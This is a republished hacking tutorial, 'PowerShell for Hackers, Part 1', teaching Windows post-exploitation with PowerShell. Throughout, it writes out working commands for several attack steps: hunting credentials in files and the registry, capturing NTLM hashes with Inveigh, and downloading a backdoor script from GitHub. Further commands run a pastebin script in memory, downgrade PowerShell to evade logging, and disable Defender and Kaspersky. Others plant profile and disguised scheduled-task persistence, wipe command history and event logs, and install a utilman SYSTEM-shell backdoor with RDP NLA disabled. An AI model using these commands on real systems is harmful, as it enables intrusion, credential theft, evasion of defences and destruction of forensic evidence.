National Cyber Warfare Foundation (NCWF)

PowerShell for Hackers, Part 1 – The Basics


0 user ratings
2025-07-23 13:34:07
milo
Red Team (CNA)

Welcome back, my aspiring cyberwarriors! Today we start our series on PowerShell for hackers. In this opening article, we explore the core techniques of PowerShell, starting with foundational concepts before advancing to topics like PowerShell and LDAP filters, leveraging PowerView, and crafting scripts for tasks such as establishing backdoors, exfiltrating data, and extracting password hashes. […]


The post PowerShell for Hackers, Part 1 – The Basics first appeared on Hackers Arise.







Welcome back, my aspiring cyberwarriors!





Today we start our series on PowerShell for hackers. In this opening article, we explore the core techniques of PowerShell, starting with foundational concepts before advancing to topics like PowerShell and LDAP filters, leveraging PowerView, and crafting scripts for tasks such as establishing backdoors, exfiltrating data, and extracting password hashes.





The methods presented here are drawn from real-world engagements to offer you practical insights into their application in dynamic environments beyond controlled lab settings. You’ll encounter various terminals, shifting targets, and diverse interfaces. As a cybersecurity specialist, whether offensive or defensive, you must be comfortable navigating older Windows systems, many of which, like Windows XP, persist in ATMs, medical devices, and point-of-sale systems due to budget constraints and prolonged upgrade cycles. For defenders, mastering PowerShell is critical to understanding Windows operations and attack vectors. With state-sponsored groups from nations like Russia, China, Iran, and North Korea actively targeting systems, both attackers and defenders must be well-versed in these techniques and countermeasures.





Understanding PowerShell





PowerShell is a robust scripting language and command-line shell deeply integrated into Windows environments. Initially designed for system administration and automation, it provides direct access to the .NET framework and Windows Management Instrumentation (WMI), giving you precise control over system components, processes, and network configurations. As a pre-installed, Microsoft-signed component of most Windows systems, PowerShell is also a “living-off-the-land” (LOL) tool, allowing attackers to execute operations without introducing external binaries that could trigger antivirus alerts.





From an offensive perspective, PowerShell enables discreet execution of commands, establishment of remote sessions, credential harvesting, system configuration manipulation, data exfiltration, and in-memory payload execution. Hackers rely on PowerShell to maintain operational security, bypass application whitelisting, and blend into routine system activity.





Let’s now explore the fundamental capabilities of PowerShell and how to apply them effectively.





Core PowerShell Commands





To ease the transition for those familiar with Linux, we’ll map common Linux commands that exist in PowerShell.

















These commands form the backbone of PowerShell navigation, making it accessible even for those new to Windows. While PowerShell introduces some unique commands, these mappings will ensure a smooth transition.

















Additionally, PowerShell supports legacy CMD commands. For instance, the CMD command type can display text file contents:





PS > type example.txt

















Familiarity with a few CMD commands is essential, as they provide a fallback when PowerShell is limited.





Navigating directories in PowerShell is intuitive with the cd command, but in offensive scenarios, you may encounter systems with non-English file names and tools like Evil-WinRM will struggle with them. In such cases, variable assignment simplifies navigation:





PS > $items = Get-ChildItem





PS > cd $items[4].FullName

















This retrieves the full path of the fifth item in the directory, accounting for PowerShell’s zero-based indexing (where $items[0] is the first item). This technique is particularly useful when copy-pasting fails or when handling foreign-language file names.





Wildcards are another time-saver for complex file names:





PS > cat *.txt    # Displays all .txt files





PS > cd *            # Enters the only subdirectory in the current location





PS > cat 1*         # Reads files starting with “1”





When faced with extensive corporate data, manual directory navigation can be exhausting. The tree command offers a recursive view of the file structure to streamline reconnaissance:





PS > tree /F

















These commands equip you for manual system exploration, but when dealing with large datasets, automation becomes essential for credential harvesting.





Credential Harvesting Techniques





Finding valid credentials for services or domain accounts is a critical objective in reconnaissance, enabling lateral movement. While manual searches may uncover credentials in documents, browsers, or messaging apps like Telegram, automated methods are more efficient for large-scale systems.





Findstr





The findstr command, a native Windows tool accessible in PowerShell, allows searching for specific patterns in files or command outputs. Its presence on all Windows systems makes it a low-profile tool for credential hunting, aligning with living-off-the-land tactics:





PS > findstr /SIM /C:”password” *.txt *.ini *.cfg *.config *.xml *.gif *.ps1 *.yml

















This searches recursively (/S), case-insensitively (/I), for the string “password” across various file types, listing matching files (/M). It’s an effective way to locate credentials in configuration files or scripts without raising suspicion.





Registry





The Windows Registry is another source of credentials, storing system and user-specific configurations. Key commands include:





PS > reg query HKLM /f password /t REG_SZ /s





This searches the HKEY_LOCAL_MACHINE (HKLM) hive for string values containing “password,” potentially revealing credentials used by system-wide software or services.





PS > reg query HKCU /f password /t REG_SZ /s





This targets the HKEY_CURRENT_USER (HKCU) hive for user-specific settings with “password,” such as application configurations.





PS > reg query “HKCU\Software\ORL\WinVNC3\Password”





Extracts the encoded (but reversible) password for WinVNC v3, a remote desktop tool, offering a direct path to VNC credentials.





PS > reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”





Checks autologin settings, which may expose plaintext credentials like DefaultUsername and DefaultPassword if enabled.





PS > reg query “HKLM\SYSTEM\CurrentControlSet\Services\SNMP”





Inspects Simple Network Management Protocol (SNMP) settings for community strings, which can serve as weak credentials for network devices, often overlooked by administrators.





PS > reg query “HKCU\Software\SimonTatham\PuTTY\Sessions”





Retrieves saved PuTTY session data, including IP addresses and usernames, providing potential remote access points.





These registry queries can help with rapid credential discovery without relying on external tools, minimizing detection risks.





LaZagne





While not a PowerShell tool, LaZagne is a critical open-source utility for automated credential extraction. It targets passwords in browsers, email clients, Wi-Fi settings, FTP tools, and databases by accessing configuration files, registry entries, and memory. Running LaZagne in PowerShell can recover plaintext or reversible credentials with minimal effort.





















For example, discovering an Outlook password for a department head could enable targeted social engineering attacks. Mr. Robot illustrates just how valuable these can be. Additional resources on social engineering are available on our website.





SMB Hash Leak





The SMB Hash Leak technique captures NTLMv1 or NTLMv2 hashes by creating a fake Windows shortcut (.lnk) file pointing to a nonexistent remote resource. When a user opens or previews the file in File Explorer, Windows attempts an SMB connection, sending the user’s hashed credentials to the attacker’s server. These hashes can be cracked offline or relayed for further exploitation.





Using Inveigh, you can set up a fake SMB/HTTP listener:





PS > powershell -ep bypass





PS > . .\Inveigh.ps1





PS > Invoke-Inveigh -ConsoleOutput Y -NBNS Y -HTTPS Y -PROXY Y













This initializes Inveigh to capture authentication attempts. Success depends on timing and network interface configuration.

















Captured hashes can be cracked using Hashcat in NTLMv2 mode (5600).





Managing Execution Policy





An execution policy in PowerShell is a safety feature that controls whether and how PowerShell scripts can run on a system. It’s not a security boundary, but more like a built-in warning system designed to prevent users from accidentally running untrusted or harmful scripts. These policies can prevent you from running scripts, even benign ones. To bypass it for the current session:





PS > powershell -ep bypass

















For a persistent change (requiring admin privileges):





PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force





This disables script execution restrictions across the machine, unless overridden by Group Policy.





Downloading and Executing Files





PowerShell simplifies file downloads with cmdlets like Invoke-WebRequest (iwr) or wget. Apart from these, many other techniques exist allowing you to use less popular options that are not monitored.





Invoke-WebRequest





Using iwr you can download a script from GitHub





PS > powershell -c iwr -Uri https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1





Or simply by typing this:





PS > iwr https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1

















Wget





An equivalent to Invoke-WebRequest would be a well known Linux command wget





PS > wget https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -O anydesk.ps1

















Fileless Execution





This command downloads a PowerShell script from the URL and pipes it directly into the PowerShell interpreter using Invoke-Expression, executing it in memory without saving it to disk. This is a well-known fileless execution technique technique often used in malware and red-team tools to reduce the amount of evidence on the disk.





PS > iex (Invoke-WebRequest -Uri ‘http://pastebin.com/raw/7b4byHdd’)

















As you can see our script successfully executed.





Downgrade Attacks





A PowerShell downgrade attack is a technique where you deliberately launch an older version of PowerShell, such as version 2.0, in order to bypass modern security features like script block logging, transcription logging, and AMSI (Antimalware Scan Interface). These protections were added in newer versions of PowerShell to detect and log malicious behavior, but PowerShell v2 has none of them.





PS > powershell -version 2

















Handling Antivirus Software





Upon gaining system access, verify if Defender is running:





PS > Get-Service -Name windefend





For Kaspersky:PS > Get-Service | Where-Object { $_.DisplayName -like “*Kaspersky*” }

















Handling Antivirus Software





Upon gaining system access, verify if Defender is running:





PS > Get-Service -Name windefend





For Kaspersky:PS > Get-Service | Where-Object { $_.DisplayName -like “*Kaspersky*” }

















Disabling antivirus software can be challenging, as commands may not always produce the intended effect. For instance, with Kaspersky, if your system is managed by the Kaspersky Security Center hosted on a remote machine, local attempts to disable it will be ineffective.





Here is how you disable Windows Defender:





PS > Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableNetworkProtection AuditMode -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -EnableControlledFolderAccess Disabled





Kaspersky can be disabled with this command, provided it’s just a local installation:





Stop-Service -Name KAVFS,kavfsslp,klnagent -Force





Base64 Encoding





Base64 allows hackers to encode binary or textual payloads into a format that is readable, portable, and safe to pass through systems that may otherwise reject or inspect raw code. By converting commands or scripts into base64, you obfuscate the original payload, making it harder for defenders or security tools to immediately understand what the code does.





PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(‘Write-Host “Hackers-Arise!”‘))





PS > powershell -e “

















Establishing a Reverse Shell





A base64-encoded reverse shell can be customized on revshells.com and executed in PowerShell to connect to your listener, giving remote access.

























Profile Persistence





Profile persistence is a  technique of embedding malicious code into a user’s PowerShell profile so that the code executes automatically every time a new PowerShell session is started. When PowerShell launches, it checks for profile scripts and runs any commands they contain. An attacker who writes a payload to one of these profile files can ensure that their code, loader or backdoor is invoked whenever the user or any user on the machine opens PowerShell.





Now, let’s add a script to our profile:





PS > Add-Content -Path $Profile -Value “C:\Windows\Temp\script.ps1”





PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force

























Stealth Execution





The -WindowStyle Hidden flag allows a PowerShell script or command to run without showing any visible window to the user, making the activity far more stealthy. When hackers execute PowerShell scripts, whether it’s a reverse shell, a credential dumper, or any post-exploitation task, they usually want to avoid drawing attention. If they run PowerShell normally, even with a short command, a window may briefly appear on the screen. That sudden flash can alert the user that something suspicious is happening. By using -WindowStyle Hidden, you can launch PowerShell completely in the background, with no visible signs on the screen.





This will execute our script:PS > Start-Process powershell.exe -WindowStyle Hidden -ArgumentList “-ExecutionPolicy Bypass -File C:\Windows\Temp\script.ps1”

















The -NoProfile flag avoids loading profile scripts:





PS > powershell.exe -NoProfile -Command “Write-Output ‘Hackers-Arise!'”





Managing Command History





Just like in Linux, Powershell has its own command history. By default, PowerShell keeps a transient buffer of these commands, typically the last 50 entries, which you can inspect at any time by running Get‑History.





To display the PowerShell history type this:





PS > Get-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt”

















Instead of deleting it, let’s overwrite it:





PS > Set-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt” -Value “”

















Listing Process Command Lines





Listing command lines for each process can be extremely helpful both on Linux and Windows. You can find usernames, passwords, IPs other valuable data.





PS > gwmi win32_process | select CommandLine

















Scheduled Tasks





Scheduled Tasks are jobs that you configure to run at specified times or in response to particular system events. They are managed by the Task Scheduler service and allow administrators or applications to automate repetitive maintenance, scripts, or programs without manual intervention. Each task is defined by a set of triggers (for example, at logon, at a given time, or on an event), actions (the program, script or command to run), and optional conditions or settings that control retries, timeouts, or idle‑state requirements.





For privilege escalation you want to find vulnerable tasks. To simplify this, we will output all the scheduled tasks to a file and then look for the desired strings like “SYSTEM”:





PS > schtasks /query /fo LIST /v > schtask.txt





For persistence, normally, you just create your own task:





PS > schtasks /create /tn “Windows Update Service” /tr “C:\Windows\Temp\hackers-arise.exe” /sc hourly /mo 3 /ru System”





You can make sure it exists:





PS > schtasks /query /tn “Windows Update Service”





Force it to run immediately:





PS > schtasks /run /tn “Windows Update Service”





Or delete it:





PS > schtasks /delete /tn “Windows Update Service” /f

















Sessions





To view currently active user sessions, use the quser or qwinsta command. These commands display usernames along with their session details, including idle time.

















If you need to kill someone’s connection, here’s how you terminate it manually:





PS > logoff ((quser | Where-Object { $_ -match ‘username’ } ) -split ‘\s+’ )[2]





Additionally, if you accidentally, or due to specific circumstances, trigger the creation of a new user profile by signing into a computer where that user has never logged in before, start by killing the session associated with that user. Once the session is terminated, you can safely delete the newly created user folder:





PS > cmd.exe /c “rd /s /q C:\Users\username”





Logs





Attackers clear Windows logs to cover their tracks after gaining access to a system or executing malicious actions. By deleting logs, they aim to erase evidence of privilege escalation, lateral movement, or persistence techniques that defenders or forensic analysts might later review.





PS > Clear-EventLog Security,System,Application; “Windows PowerShell”,”Microsoft-Windows-PowerShell/Operational”,”Microsoft-Windows-WMI-Activity/Operational” | ForEach-Object { & “$env:windir\System32\wevtutil.exe” cl $_ }

















The command above works in two parts. First, it clears the classic Windows event logs using PowerShell’s built-in cmdlet. The second part uses wevtutil.exe to clear more modern event logs. Combined, the command removes both legacy and modern event traces, making post-incident investigation significantly harder.





Other Commands





You can find other valuable commands in the table below

















Bonus: Establishing a Backdoor





Once a system has been compromised, you can establish various types of backdoors, depending on your objectives and the environment. However, your options are often constrained by the level of system monitoring and the presence of defensive mechanisms. Our technique will leverage utilman.exe to create a persistent and stealthy backdoor.





Utilman





Utilman.exe is the Windows Utility Manager, the program that runs when you click the “Ease of Access” button on the login screen or press Win+U. Its intended purpose is to provide accessibility tools like Narrator, Magnifier or On‑Screen Keyboard before you log in.





As a hacker, you can exploit this by tweaking the registry so that it actually points to cmd.exe. As a result, when the Ease of Access button is pressed at the login prompt, instead of launching the accessibility tools it launches a command prompt running under the SYSTEM account.





Using registry let’s establish the backdoor:





PS > reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe” /v Debugger /t REG_SZ /d “C:\Windows\System32\cmd.exe” /f





Then we disable NLA for RDP, which requires valid credentials before initiating a full RDP session:





PS >reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f After that you need to reboot the system or wait for an administrator to do it









Conclusion





PowerShell is a powerful and versatile tool that plays a critical role in both offensive and defensive cybersecurity. In this first part, we’ve covered essential commands, credential harvesting, persistence techniques, and stealthy execution strategies. Whether you’re hardening systems or probing their weaknesses, mastering PowerShell is indispensable. In the next part, we’ll build on this foundation with more advanced techniques.

The post PowerShell for Hackers, Part 1 – The Basics first appeared on Hackers Arise.



Source: HackersArise
Source Link: https://hackers-arise.com/powershell-for-hackers-part-1-the-basics/


Comments
new comment
Nobody has commented yet. Will you be the first?
 
Forum
Red Team (CNA)



Copyright 2012 through 2025 - National Cyber Warfare Foundation - All rights reserved worldwide.